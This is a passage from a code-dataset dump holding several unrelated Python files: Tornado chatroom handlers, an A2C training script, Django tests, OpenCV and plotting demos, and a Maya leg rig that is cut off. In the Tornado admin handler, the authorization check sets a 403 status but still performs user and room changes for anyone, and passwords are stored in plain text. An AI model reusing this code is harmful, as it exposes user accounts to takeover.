ModifyHandler(tornado.web.RequestHandler):\n def get(self):\n self.set_status(403)\n self.finish()\n return\n\n def post(self):\n username = self.get_secure_cookie(\"username\")\n if username is None:\n self.redirect('/login')\n password = self.get_argument('password')\n rep_password = self.get_argument('rep_password')\n email = self.get_argument('email')\n phone = self.get_argument('phone')\n if password != rep_password:\n # self.write(\"两次密码输入不一致\")\n self.set_header(\"Access-Control-Allow-Origin\", \"*\")\n self.set_header('Content-Type', 'application/json; charset=UTF-8')\n self.write(json_encode({\"modify\": False, \"err\": 1}))\n self.finish()\n return\n conn.execute(\"UPDATE user SET password=?, email=?, phone=? WHERE username =? \",\n (password, email, phone, username))\n conn.commit()\n self.set_header(\"Access-Control-Allow-Origin\", \"*\")\n self.set_header('Content-Type', 'application/json; charset=UTF-8')\n self.write(json_encode({\"modify\": True}))\n self.finish()\n return\n\n\n# 管理员特权操作\n\n\nclass AdminHandler(tornado.web.RequestHandler):\n def get(self):\n cookie_user = self.get_secure_cookie(\"username\")\n if cookie_user is None:\n # self.redirect('/login')\n # self.set_status(403)\n # self.finish()\n self.render('login.html')\n return\n else:\n usertype = common.get_usertype(cookie_user)\n self.render(\"admin.html\", usertype=usertype,\n roomlist=common.getRoomList())\n return\n\n def post(self):\n username = self.get_secure_cookie('username')\n setvip_username = self.get_argument(\"username1\", None)\n cancelvip_username = self.get_argument(\"username2\", None)\n delete_username = self.get_argument(\"username3\", None)\n delete_roomname = self.get_argument(\"deleteRoomname\", None)\n create_roomname = self.get_argument(\"createRoomname\", None)\n cookie_user = self.get_secure_cookie(\"username\")\n\n if 2 != common.get_usertype(cookie_user):\n self.set_status(403)\n if setvip_username:\n conn.execute(\"UPDATE user SET usertype = 1 WHERE username = ? \", (\n setvip_username,))\n conn.commit()\n self.write(\"设置成功\")\n if cancelvip_username:\n conn.execute(\"UPDATE user SET usertype = 0 WHERE username = ? \", (\n cancelvip_username,))\n conn.commit()\n self.write(\"取消成功\")\n if delete_username:\n conn.execute(\"DELETE FROM user WHERE username = ? \",\n (delete_username,))\n conn.commit()\n self.write(\"删除成功\")\n if delete_roomname:\n if not self.check_is_userd(delete_roomname):\n usertype = common.get_usertype(username)\n self.write('聊天室不存在')\n return\n else:\n conn.execute(\"DELETE FROM room WHERE roomname = ? \", (\n delete_roomname,))\n conn.commit()\n self.write('聊天室删除成功')\n return\n if create_roomname:\n username = self.get_secure_cookie('username')\n # roomname被使用过\n if self.check_is_userd(create_roomname):\n usertype = common.get_usertype(username)\n self.write('同名聊天室已经存在')\n return\n\n cursor = conn.execute(\n \"SELECT userid FROM user WHERE username = ? \", (username,))\n for row in cursor:\n userid = row[0]\n # 创建\n conn.execute(\n \"INSERT INTO room (roomname, created_time, owner_id) VALUES(?, datetime('now'), ?)\",\n (create_roomname, userid))\n conn.commit()\n # self.redirect(\"/chatroom\")\n self.write('聊天室添加成功')\n self.finish()\n return\n\n def check_is_userd(self, roomname):\n cur.execute(\n \"SELECT roomname FROM room WHERE roomname = ? \", (roomname,))\n if cur.fetchall():\n return True\n return False\n\n\nif __name__ == '__main__':\n define(\"port\", default=8000, help=\"run on given port\", type=int)\n tornado.options.parse_command_line()\n app = tornado.web.Application(\n handlers=[(r'/modify', ModifyHandler)],\n template_path=os.path.join(os.path.dirname(__file__), \"templates\")\n )\n http_server = tornado.httpserver.HTTPServer(app)\n http_server.listen(options.port)\n tornado.ioloop.IOLoop.instance().start()\n","sub_path":"src/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":5197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"639587877","text":"\"\"\"\nTest Vanilla PG on standard environment, where state is (ob_dim) and action is continuous/discrete\n\n\"\"\"\n\nimport pprint\n\nimport numpy as np\nimport torch.optim\n\nimport torchlib.deep_rl.algorithm as algo\nimport torchlib.utils.random\nfrom torchlib import deep_rl\n\nif __name__ == '__main__':\n parser = algo.a2c.make_default_parser()\n args = vars(parser.parse_args())\n pprint.pprint(args)\n\n env_name = args['env_name']\n\n assert args['discount'] < 1.0, 'discount must be smaller than 1.0'\n torchlib.utils.random.set_global_seeds(args['seed'])\n\n print('Env {}'.format(env_name))\n\n if deep_rl.envs.is_ple_game(env_name) or deep_rl.envs.is_atari_env(env_name):\n if args['recurrent']:\n args['frame_history_len'] = 1\n else:\n args['frame_history_len'] = 4\n\n env = deep_rl.envs.make_env(env_name, args)\n\n policy_net = algo.a2c.get_policy_net(env, args)\n\n policy_optimizer = torch.optim.Adam(policy_net.parameters(), args['learning_rate'])\n\n if args['recurrent']:\n init_hidden_unit = np.zeros(shape=(args['hidden_size']), dtype=np.float32)\n else:\n init_hidden_unit = None\n\n agent = algo.a2c.A2CAgent(policy_net, policy_optimizer,\n init_hidden_unit=init_hidden_unit,\n nn_baseline=args['nn_baseline'],\n lam=args['gae_lambda'],\n max_grad_norm=args['max_grad_norm'],\n value_coef=args['value_coef'],\n initial_state_mean=args['initial_state_mean'],\n initial_state_std=args['initial_state_std'])\n\n max_path_length = args['ep_len'] if args['ep_len'] > 0 else None\n\n agent.train(args['exp_name'], env, args['n_iter'], args['discount'], args['batch_size'],\n max_path_length, logdir=None, seed=args['seed'])\n","sub_path":"examples/deep_rl/policy_gradient/a2c.py","file_name":"a2c.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"130814446","text":"from django.test import TestCase\nimport datetime\nfrom decimal import Decimal, InvalidOperation\nfrom django.core.exceptions import ValidationError\nfrom django.db import transaction\nfrom .. import models\nfrom .. import dbapi\nfrom ._check_model_count import check_model_count\n\ndef _all_in_category(cat):\n return models.Transaction.objects.filter(category=cat)\n\nclass TestCategoryDelete(TestCase):\n\n fixtures = ['test_categories']\n ex_list = (TypeError, ValueError, AssertionError, ValidationError,\n InvalidOperation, AttributeError)\n\n def setUp(self):\n dbapi.create_category('Replacement Category')\n dbapi.create_account(name='Test Account', is_budgeted=True,\n starting_balance=0)\n self.test_acct = models.Account.objects.get(name='Test Account')\n self.test_params = {'account': self.test_acct,\n 'date': datetime.date.today(),\n 'payee': 'Test Payee',\n 'memo': 'Test Memo',\n 'amount': Decimal('123.45')}\n self.target_cat = models.Category.objects.get(name='Test Category')\n self.replacement_cat = models.Category.objects.get(name='Replacement Category')\n\n def test_success_no_affected_transactions(self):\n dbapi.create_category('Unaffected Category')\n unaffected_cat = models.Category.objects.get(name='Unaffected Category')\n with check_model_count({models.Transaction: 3}):\n for _ in range(3):\n dbapi.create_transaction(category=unaffected_cat,\n **self.test_params)\n with check_model_count({models.Category: -1, models.Transaction: 0}):\n dbapi.delete_category(self.target_cat, self.replacement_cat)\n self.assertNotIn('Test Category', (cat.name for cat in\n models.Category.objects.all()))\n self.assertEqual(_all_in_category(unaffected_cat).count(), 3)\n self.assertEqual(_all_in_category(self.target_cat).count(), 0)\n self.assertEqual(_all_in_category(self.replacement_cat).count(), 0)\n\n def test_success_some_affected_transactions(self):\n dbapi.create_category('Unaffected Category')\n unaffected_cat = models.Category.objects.get(name='Unaffected Category')\n with check_model_count({models.Transaction: 6}):\n for _ in range(3):\n dbapi.create_transaction(category=unaffected_cat,\n **self.test_params)\n dbapi.create_transaction(category=self.target_cat,\n **self.test_params)\n with check_model_count({models.Category: -1, models.Transaction: 0}):\n dbapi.delete_category(self.target_cat, self.replacement_cat)\n self.assertEqual(_all_in_category(unaffected_cat).count(), 3)\n self.assertEqual(_all_in_category(self.target_cat).count(), 0)\n self.assertEqual(_all_in_category(self.replacement_cat).count(), 3)\n\n def test_fail_bad_target_category(self):\n with self.assertRaises(self.ex_list):\n dbapi.delete_category('BAD', self.replacement_cat)\n\n def test_fail_bad_replacement_category(self):\n with self.assertRaises(self.ex_list):\n dbapi.delete_category(self.target_cat, 'BAD')\n\n def test_fail_no_replacement_category(self):\n with self.assertRaises(self.ex_list):\n dbapi.delete_category(self.target_cat)\n\n def test_fail_special_replacement_category(self):\n # transaction.atomic() required here to avert a known Django bug\n # See https://code.djangoproject.com/ticket/21540\n with self.assertRaises(self.ex_list):\n with transaction.atomic():\n dbapi.delete_category(self.target_cat, dbapi.transfer_category())\n with self.assertRaises(self.ex_list):\n with transaction.atomic():\n dbapi.delete_category(self.target_cat, dbapi.starting_bal_category())\n\n def test_fail_special_category(self):\n # transaction.atomic() required here to avert a known Django bug\n # See https://code.djangoproject.com/ticket/21540\n with self.assertRaises(self.ex_list):\n with transaction.atomic():\n dbapi.delete_category(dbapi.transfer_category(), self.replacement_cat)\n with self.assertRaises(self.ex_list):\n with transaction.atomic():\n dbapi.delete_category(dbapi.starting_bal_category(), self.replacement_cat)\n","sub_path":"moneybin/ledger/tests/test_category_delete.py","file_name":"test_category_delete.py","file_ext":"py","file_size_in_byte":4567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"331524376","text":"import cv2 as cv\nimport numpy as np\n\nblank = np.zeros((500, 500, 3), dtype='uint8')\ncv.imshow('Blank', blank)\n\n#1. paint the image to a color\n# blank[:] = 0,255,0\n# cv.imshow('Green', blank) \n\n#2. paint a rectangle\ncv.rectangle(blank, (0,0), (250,250), (0,0,255), thickness=2)\ncv.imshow('Rectangle', blank)\n\n#3. draw a circle\ncv.circle(blank, (blank.shape[1]//2, blank.shape[0]//2), 40, (0, 255, 0), thickness=-1)\ncv.imshow('Circle', blank)\n\n#4. draw a line\ncv.line(blank, (0,0), (blank.shape[1]//2, blank.shape[0]//2), (255, 255, 0), thickness=3)\ncv.imshow('Line', blank)\n\n#5. Add text\ncv.putText(blank, 'Feedback', (250, 250), cv.FONT_HERSHEY_SIMPLEX, 1.0, (255, 255, 255), 1)\ncv.imshow('Text', blank)\n\ncv.waitKey(0)\n","sub_path":"draw.py","file_name":"draw.py","file_ext":"py","file_size_in_byte":721,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"552113211","text":"def sequencia_fibonaci():\n \"\"\" sequencia fibonnaci com 47 termos \"\"\"\n anterior = 1\n sucessor = 2\n somaAS = 0\n fibonnaci = [0,1,1,2]\n\n n = 0\n while n <= 47:\n\n somaAS = anterior + sucessor\n anterior = sucessor\n sucessor = somaAS\n\n fibonnaci.append(somaAS)\n n += 1\n \n return fibonnaci\n\nentradas_usuario = []\ncount = 0\nwhile True:\n entradas_usuario.append(int(input()))\n if entradas_usuario[count] == 0:\n break\n count += 1\n\n\"\"\"\npara cada entrada do usuario, imprimir os valores da sequencia,\nde 0 ate o valor do elemento da lista de entrada.\n\"\"\"\nfor x in entradas_usuario:\n for y in range(0,x):\n if y == x-1:\n print(sequencia_fibonaci()[y],end='')\n else:\n print(sequencia_fibonaci()[y],end=' ')\n print()\n \n\n \n\n \n\n \n \n\n\n\n","sub_path":"fibonnaci.py","file_name":"fibonnaci.py","file_ext":"py","file_size_in_byte":852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"267742626","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 17 22:29:31 2016\n\n@author: youngwan\n\"\"\"\n\nimport os\nimport sys\nimport subprocess\nimport pandas as pd\n\n#matplotlib.use('Agg')\nimport matplotlib.pylab as plt\n\n#plt.style.use('ggplot')\ndef load_data(data_file, field_idx0, field_idx1):\n data = [[], []]\n with open(data_file, 'r') as f:\n for line in f:\n line = line.strip() \n if line[0] != '#':\n fields = line.split()\n data[0].append(float(fields[field_idx0].strip()))\n data[1].append(float(fields[field_idx1].strip()))\n return data\n\n\ncaffe_path = '/home/youngwan/caffe/'\n\n#model_log_path = caffe_path + sys.argv[1]\n#learning_curve_path = caffe_path + sys.argv[2]\n\n\n#model_log_path = caffe_path + 'jobs/New/KITTI/inception_v3/SSD_Inception_v3_4_preActRes_OriginASP_BN_ImageNet_pretrained_unFreezed300x300/KITTI_SSD_Inception_v3_4_preActRes_OriginASP_BN_ImageNet_pretrained_unFreezed300x300_2016-11-6-17:41:14.log'\n#model_log_path_2 = caffe_path + 'jobs/New/KITTI/inception_v3/SSD_Inception_v3_4_preActRes_basic_OriginASP_BN_No_pretrained_300x300/KITTI_SSD_Inception_v3_4_preActRes_basic_OriginASP_BN_No_pretrained_300x300_2016-11-14-23:26:29.log'\n\nmodel_log_path = caffe_path + 'jobs/New/KITTI/inception_v3/SSD_Inception_v3_4_preActRes_OriginASP_BN_ImageNet_pretrained_unFreezed_5th_300x300/KITTI_SSD_Inception_v3_4_preActRes_OriginASP_BN_ImageNet_pretrained_unFreezed_5th_300x300_2016-11-19-15:56:0.log'\nmodel_log_path_2 = caffe_path + 'jobs/New/KITTI/inception_v3/SSD_Inception_v3_4_preActRes_basic_OriginASP_BN_No_pretrained_4th300x300/KITTI_SSD_Inception_v3_4_preActRes_basic_OriginASP_BN_No_pretrained_4th300x300_2016-11-17-23:47:35.log'\nmodel_log_path_3 = caffe_path + 'jobs/New/KITTI/inception_v3/SSD_Inception_v3_4_preActRes_basic_OriginASP_BN_cifar_pretrained_3rd_300x300/KITTI_SSD_Inception_v3_4_preActRes_basic_OriginASP_BN_cifar_pretrained_3rd_300x300_2016-11-18-10:56:17.log'\nmodel_log_path_4 = caffe_path + 'jobs/New/KITTI/inception_v3/SSD_Inception_v3_4_preActRes_basic_OriginASP_BN_cifar100_pretrained_1st_300x300/KITTI_SSD_Inception_v3_4_preActRes_basic_OriginASP_BN_cifar100_pretrained_1st_300x300_2016-11-23-17:53:56.log'\n\nlearning_curve_path = caffe_path + 'jobs/figures/Total_dpi5000.png'\n\n\n#Get directory where the model logs is saved, and move to it\nmodel_log_dir_path = os.path.dirname(model_log_path)\nos.chdir(model_log_dir_path)\ncommand = caffe_path + 'tools/extra/parse_log.sh ' + model_log_path\nprocess = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)\nprocess.wait()\n#Read training and test logs\ntrain_log_path = model_log_path + '.train'\ntest_log_path = model_log_path + '.test'\ntrain_log = pd.read_csv(train_log_path, delim_whitespace=True)\ntest_log = pd.read_csv(test_log_path, delim_whitespace=True)\n\n\n\n\n#Parsing\n#train_data = load_data(train_log_path,1,3)\n#test_data = load_data(test_log_path,1,3)\n\n\ntrain_loss = train_log['TrainingLoss']\ntrain_iter = train_log['#Iters']\ntrain_lr = train_log['LearningRate']\ntest_iter = test_log['#Iters']\ntest_loss = test_log['TestLoss']\ntest_acc = test_log['TestAccuracy']\n#test_error = 1- test_accuracy\n\n\n'''\nMaking learning curve\n'''\nfig, ax1 = plt.subplots()\n\n#Plotting training and test losses\n#train_loss, = ax1.plot(train_log['#Iters'], train_log['TrainingLoss'], color='red',linewidth=2, alpha=.5)\n#test_loss, = ax1.plot(test_log['#Iters'], test_log['TestLoss'], linewidth=2, color='green')\n\n\ntrain_loss = plt.plot(train_iter,train_loss, label='Loss', color='red',linewidth=1)\n\n\nplt.xlabel('Iterations', fontsize=15)\nplt.ylabel('Loss', fontsize=15)\nplt.yscale('log')\nplt.tick_params(labelsize=10)\nplt.legend(bbox_to_anchor=(0.5, 1), loc=2, borderaxespad=0.)\n\n#Plotting Accuracy\nax2 = plt.twinx()\n#test_accuracy, = plt.plot(test_log['#Iters'], test_acc, label='Acc. ImageNet',linewidth=3, color='red', linestyle=':')\ntrain_lr, = plt.plot(test_log['#Iters'], train_lr, label='learning rate',linewidth=3, color='blue', linestyle=':')\n\nax2.set_ylim(ymin=0.00001, ymax=0.1)\nax2.set_ylabel('Accuracy', fontsize=15)\nax2.tick_params(labelsize=10)\nplt.legend(bbox_to_anchor=(0.03, 1), loc=2, borderaxespad=0.)\nplt.title('Training Curve', fontsize=18)\n\n#Saving learning curve\n#plt.savefig(learning_curve_path,dpi=2000)\nplt.show()\n\n\n'''\nDeleting training and test logs\n'''\ncommand = 'rm ' + train_log_path\nprocess = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)\nprocess.wait()\n\ncommand = command = 'rm ' + test_log_path\nprocess = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE)\nprocess.wait()\n\n\n\n\n\n","sub_path":"learning_rate_plot.py","file_name":"learning_rate_plot.py","file_ext":"py","file_size_in_byte":4585,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"605733795","text":"'''\n7/27/2018\ncreate hind leg set up\n\nnote:\n don't line foot jnt, knuck joint and toe joint in straight line\n'''\nfrom maya import cmds\n\nimport joint_utility as ju\nreload(ju)\nimport control_utility as cu\nreload(cu)\nimport math_utility as mu\nreload(mu)\n\nfrom leg_rig import legRig\n\n\nclass hindLegRig(legRig):\n def __init__(self, side=\"LF\", index=1, alias=\"HindLeg\", aliasList=[\"Hip\", \"Knee\", \"Ankle\", \"Foot\", \"Knuckle\", \"Toe\"], par=\"MD_Torso_01_Hip_Ctrl\", parJnt=\"MD_Torso_01_01_Out_Jnt\", \n ik=True, fk=True, stretch=True, squeeze=True, localScale=False, elbowLock=True, softIK=True, autoSmooth=True, bendy=(5, 5, 5),\n ikSpace=[\"World\", \"Master_Sub_Ctrl\", \"COG_Sub_Ctrl\"], pvSpace=[\"World\", \"Master_Sub_Ctrl\", \"COG_Sub_Ctrl\"], shortFoot=False):\n '''\n short foot(boolean): whether treat the foot as a single joint chain or adding a dividing joint in the middle\n '''\n super(hindLegRig, self).__init__(side=side, index=index, alias=alias, aliasList=aliasList, par=par, parJnt=parJnt, ik=ik, fk=fk, stretch=stretch, squeeze=squeeze, localScale=localScale,\n elbowLock=elbowLock, softIK=softIK, autoSmooth=autoSmooth, bendy=bendy[:2], ikSpace=ikSpace, pvSpace=pvSpace)\n\n #the initial ik fk status\n self.ikFk = 1 #as ik\n self.ikMatchCoordinate = True #whether to have the ik ctrl match the world coordinate\n\n self.proxyCtrls.update({\"Rear\": \"{0}_Rear_Proxy_Ctrl\".format(self.longAlias), \n \"ToeIK2\": self.proxyJnts[-1].replace(\"Proxy_Jnt\", \"IK_Sub_Proxy_Ctrl\"),\n \"KnuckleFK\": self.proxyJnts[-2].replace(\"Proxy_Jnt\", \"FK_Proxy_Ctrl\"),\n \"KnuckleIK\": self.proxyJnts[-2].replace(\"Proxy_Jnt\", \"IK_Proxy_Ctrl\"),\n \"BotBendy\": \"{0}_Bot_Bendy_Proxy_Ctrl\".format(self.longAlias),\n \"BotBendy2\": \"{0}_Bot_Bendy_02_Proxy_Ctrl\".format(self.longAlias)})\n\n self.ctrlShape.update({\"BotBendy\": {\"shape\": \"circle\", \"ax\": (1, 0, 0), \"p\": (0, 0, 0), \"sd\": [1, 1, 8]},\n \"BotBendy2\": {\"shape\": \"nail3\", \"ax\": (0, 0, -self.negDic[self.side]), \"p\": (0, 0, 0), \"s\": (0.6, 0.6, 0.6)},\n \"ToeIK2\": {\"shape\": \"trapezoid3\", \"ax\": (0, 1, 0), \"p\": (0, 0.5, 0), \"s\": (0.5, 0.5, 0.5)},\n \"KnuckleFK\": {\"shape\": \"circle\", \"ax\": (1, 0, 0), \"p\": (0, 0, 0), \"sd\": [1, 0.5, 8]},\n \"KnuckleIK\": {\"shape\": \"trapezoid3\", \"ax\": (0, 1, 0), \"p\": (0, 0.5, 0), \"s\": (0.5, 0.5, 0.5)},\n \"Rear\": {\"shape\": \"circle\", \"ax\": (1, 0, 0), \"p\": (0, 0, 0), \"sd\": [1, 0.8, 8]}})\n\n self.attrValue.update({\"botBendy\": bendy[2], \"shortFoot\": self.boolDic[shortFoot]})\n\n\n def createProxy(self, repositionIK=True):\n botBendy = self.attrValue[\"botBendy\"]\n del self.attrValue[\"botBendy\"]\n super(hindLegRig, self).createProxy()\n\n #reset foot ik ctrl's aim constraint up vector\n cmds.setAttr(\"{0}_Grp_aimConstraint1.upVector\".format(self.proxyCtrls[\"FootIK\"]), 1, 0, 0, type=\"double3\")\n cmds.setAttr(\"{0}_Grp_aimConstraint1.worldUpVector\".format(self.proxyCtrls[\"FootIK\"]), 1, 0, 0, type=\"double3\")\n\n cu.createCtrl(n=self.proxyCtrls[\"KnuckleFK\"], colorNo=self.colorDic[self.side], ctrlShape=self.ctrlShape[\"KnuckleFK\"], depth=1, lockAttrs=[\"t\", \"r\", \"s\", \"v\"])\n cmds.parentConstraint(self.proxyJnts[-2], \"{0}_Grp\".format(self.proxyCtrls[\"KnuckleFK\"]), mo=False)\n cmds.parent(\"{0}_Grp\".format(self.proxyCtrls[\"KnuckleFK\"]), self.proxyGrp)\n\n cu.createCtrl(n=self.proxyCtrls[\"KnuckleIK\"], colorNo=self.colorDic2[self.side], ctrlShape=self.ctrlShape[\"KnuckleIK\"], depth=1, lockAttrs=[\"r\", \"s\", \"v\"])\n cmds.parent(\"{0}_Grp\".format(self.proxyCtrls[\"KnuckleIK\"]), self.proxyGrp)\n cmds.pointConstraint(self.proxyJnts[-2], \"{0}_Grp\".format(self.proxyCtrls[\"KnuckleIK\"]), mo=False)\n cmds.aimConstraint(self.proxyJnts[-3], \"{0}_Grp\".format(self.proxyCtrls[\"KnuckleIK\"]), aim=(0, 0, -1), u=(0, 1, 0), wu=(0, 1, 0), wut=\"objectrotation\", wuo=self.proxyGrp)\n cmds.setAttr(\"{0}.tz\".format(self.proxyCtrls[\"KnuckleIK\"]), -0.5)\n\n #create toe ik sub ctrl \n cu.createCtrl(n=self.proxyCtrls[\"ToeIK2\"], colorNo=self.colorDic2[self.side], ctrlShape=self.ctrlShape[\"ToeIK2\"], depth=1, lockAttrs=[\"r\", \"s\", \"v\"])\n cmds.parent(\"{0}_Grp\".format(self.proxyCtrls[\"ToeIK2\"]), self.proxyGrp)\n cmds.pointConstraint(self.proxyJnts[4], \"{0}_Grp\".format(self.proxyCtrls[\"ToeIK2\"]), mo=False)\n cmds.aimConstraint(self.proxyJnts[-1], \"{0}_Grp\".format(self.proxyCtrls[\"ToeIK2\"]), aim=(0, 0, 1), u=(0, 1, 0), wu=(0, 1, 0), wut=\"objectrotation\", wuo=self.proxyGrp)\n cmds.setAttr(\"{0}.tz\".format(self.proxyCtrls[\"ToeIK2\"]), 0.5)\n\n #reset initial pose\n cmds.move(self.negDic[self.side]*2.5, 12, -7.5, self.proxyJnts[0], a=True)\n cmds.move(self.negDic[self.side]*7, 0, 0, self.proxyJnts[1], a=True, os=True)\n cmds.move(self.negDic[self.side]*6, 0, 0, self.proxyJnts[2], a=True, os=True)\n cmds.move(self.negDic[self.side]*2.5, 0, 3.8, self.proxyJnts[3], a=True, ls=True)\n cmds.move(self.negDic[self.side]*1.25, 0, -0.3, self.proxyJnts[4], a=True, os=True)\n cmds.move(self.negDic[self.side]*1.25, 0, 0, self.proxyJnts[5], a=True, os=True)\n\n cmds.rotate(0, -45*self.negDic[self.side], -90*self.negDic[self.side], self.proxyJnts[0], a=True, os=True)\n cmds.rotate(0, 90*self.negDic[self.side], 0, self.proxyJnts[1], a=True, os=True)\n cmds.rotate(0, -45*self.negDic[self.side], 0, self.proxyJnts[2], a=True, os=True)\n cmds.rotate(0, -90*self.negDic[self.side], 0, self.proxyJnts[3], a=True, os=True)\n\n cmds.xform(self.proxyCtrls[\"IKTilt\"], t=(self.negDic[self.side]*2.8, 0, 6.8), ro=(0, 0, 0), a=True, os=True)\n cmds.xform(self.proxyCtrls[\"IKTilt2\"], t=(self.negDic[self.side]*2.8, 0, 2.5), ro=(0, 0, 0), a=True, os=True)\n\n cmds.setAttr(\"{0}.ty\".format(self.proxyCtrls[\"PV\"]), 8)\n cmds.setAttr(\"{0}.tz\".format(self.proxyCtrls[\"FootIK\"]), -1.5)\n #cmds.setAttr(\"{0}.tz\".format(self.proxyCtrls[\"ToeIK2\"]), 1.5)\n\n if repositionIK:\n cmds.delete(\"{0}_Grp_pointConstraint1\".format(self.proxyCtrls[\"IK\"]))\n cmds.pointConstraint(self.proxyJnts[3], \"{0}_Grp\".format(self.proxyCtrls[\"IK\"]), mo=False)\n\n #add bottom bendy \n cu.createCtrl(n=self.proxyCtrls[\"BotBendy\"], colorNo=self.colorDic2[self.side], ctrlShape=self.ctrlShape[\"BotBendy\"], depth=1, lockAttrs=[\"t\", \"r\", \"s\", \"v\"])\n cmds.aimConstraint(self.proxyJnts[2], \"{0}_Grp\".format(self.proxyCtrls[\"BotBendy\"]), aim=(-self.negDic[self.side], 0, 0), u=(0, 1, 0), wut=\"objectrotation\", wu=(0, 1, 0), wuo=self.proxyJnts[2])\n cmds.pointConstraint(self.proxyJnts[2], self.proxyJnts[3], \"{0}_Grp\".format(self.proxyCtrls[\"BotBendy\"]))\n cmds.parent(\"{0}_Grp\".format(self.proxyCtrls[\"BotBendy\"]), self.proxyGrp)\n #add secondary bendy ctrl\n cu.createCtrl(n=self.proxyCtrls[\"BotBendy2\"], colorNo=self.colorDic2[self.side], ctrlShape=self.ctrlShape[\"BotBendy2\"], depth=1, lockAttrs=[\"t\", \"r\", \"s\", \"v\"])\n cmds.parent(\"{0}_Grp\".format(self.proxyCtrls[\"BotBendy2\"]), self.proxyCtrls[\"BotBendy\"])\n cmds.xform(\"{0}_Grp\".format(self.proxyCtrls[\"BotBendy2\"]), t=(0, 0, 0), ro=(90*self.negDic[self.side], 0, 0), os=True, a=True)\n if self.side == self.right:\n cmds.xform(\"{0}_Grp\".format(self.proxyCtrls[\"BotBendy2\"]), ro=(0, 0, 180), os=True, r=True) \n\n #rear ctrl\n cu.createCtrl(n=self.proxyCtrls[\"Rear\"], colorNo=self.colorDic2[self.side], ctrlShape=self.ctrlShape[\"Rear\"], depth=1, lockAttrs=[\"t\", \"r\", \"s\", \"v\"])\n cmds.parentConstraint(self.proxyJnts[2], \"{0}_Grp\".format(self.proxyCtrls[\"Rear\"]))\n cmds.parent(\"{0}_Grp\".format(self.proxyCtrls[\"Rear\"]), self.proxyGrp)\n\n #save bot bendy ctrl number:\n cmds.addAttr(self.proxyJnts[0], ln=\"botBendy\", at=\"long\", k=True)\n cmds.setAttr(\"{0}.botBendy\".format(self.proxyJnts[0]), botBendy)\n\n self.attrValue.update({\"botBendy\": botBendy})\n return True\n\n def copyCleanJointsChain(self, alias=\"Jnt\"):\n '''\n ducplicate the proxy chain, auto orient it and freeze the tranfrom\n overwrite this part from limbRig object\n input:\n alias(string): the new name alisa for the duplicated joint chain\n '''\n #create a bind joint chain\n jnts = ju.copyJointChain(self.proxyJnts, oldAlias=\"Proxy_Jnt\", newAlias=alias, freeze=False)\n\n aimAxisDic = {self.left : \"x\", self.right: \"-x\"}\n sideAxisDic = {self.left : \"y\", self.right: \"-y\"}\n ju.orientJointChain(jnts, aimAxis=aimAxisDic[self.side], sideAxis=sideAxisDic[self.side])\n\n #set prefered angle\n cmds.setAttr(\"{0}.preferredAngleY\".format(jnts[1]), self.negDic[self.side]*10)\n\n [cmds.setAttr(\"{0}.segmentScaleCompensate\".format(jnt), 0) for jnt in jnts]\n return jnts\n\n def createRig(self):\n if not super(hindLegRig, self).createRig():\n return False\n\n self.bindJnts.remove(self.resultJnts[2])\n cmds.sets(self.resultJnts[2], rm=\"{0}_Bind_Jnt_Set\".format(self.longAlias))\n return True\n\n def createBind(self):\n super(hindLegRig, self).createBind()\n\n #add angle offset joint\n midJnt = self.resultJnts[1]\n ankleJnt = self.resultJnts[2]\n footJnt = self.resultJnts[3]\n midStartJnt = midJnt.replace(\"Jnt\", \"Start_Jnt\")\n midEndJnt = midJnt.replace(\"Jnt\", \"End_Jnt\")\n\n #create a midStartJnt\n ankleStartJnt = cmds.duplicate(ankleJnt, po=True, n=ankleJnt.replace(\"Jnt\", \"Start_Jnt\"))[0]\n cmds.parent(ankleStartJnt, ankleJnt)\n \n cmds.aimConstraint(footJnt, ankleStartJnt, mo=False, aim=(self.negDic[self.side], 0, 0), u=(0, 1, 0), wut=\"objectrotation\", wu=(0, 1, 0), wuo=ankleJnt) \n cmds.disconnectAttr(\"{0}.t\".format(ankleJnt), \"{0}.t\".format(midEndJnt))\n cmds.pointConstraint(ankleStartJnt, midEndJnt)\n #reset knee start joint's aim target\n oAttrs = [\"translate\", \"rotatePivotTranslate\", \"parentMatrix[0]\", \"rotatePivot\"]\n iattrs = [\"target[0].targetTranslate\", \"target[0].targetRotateTranslate\", \"target[0].targetParentMatrix\", \"target[0].targetRotatePivot\"]\n for oAttr, iattr in zip(oAttrs, iattrs):\n if self.attrValue[\"autoSmooth\"]:\n cmds.connectAttr(\"{0}.{1}\".format(ankleStartJnt, oAttr), \"{0}_aimConstraint1.{1}\".format(midStartJnt.replace(\"Jnt\", \"Null\"), iattr), f=True)\n else:\n cmds.connectAttr(\"{0}.{1}\".format(ankleStartJnt, oAttr), \"{0}_aimConstraint1.{1}\".format(midStartJnt, iattr), f=True)\n\n #create a midEndJnt\n ankleEndJnt = cmds.duplicate(footJnt, po=True, n=ankleJnt.replace(\"Jnt\", \"End_Jnt\"))[0]\n cmds.setAttr(\"{0}.jointOrient\".format(ankleEndJnt), 0, 0, 0, type=\"double3\")\n cmds.connectAttr(\"{0}.t\".format(footJnt), \"{0}.t\".format(ankleEndJnt))\n cmds.connectAttr(\"{0}.s\".format(footJnt), \"{0}.s\".format(ankleEndJnt))\n cmds.aimConstraint(ankleStartJnt, ankleEndJnt, mo=False, aim=(-self.negDic[self.side], 0, 0), u=(0, 1, 0), wut=\"objectrotation\", wu=(0, 1, 0), wuo=footJnt) \n\n #create mid tweak ctrl\n rearCtrl = \"{0}_Rear_Ctrl\".format(self.longAlias)\n lockAttrs = [\"r\", \"v\"] if self.attrValue[\"localScale\"] else [\"r\", \"s\", \"v\"]\n cu.createCtrlFromProxy(n=rearCtrl, colorNo=self.colorDic2[self.side], proxyShape=\"default\", depth=1, lockAttrs=lockAttrs, pSet=\"default\")\n cmds.parentConstraint(ankleJnt, 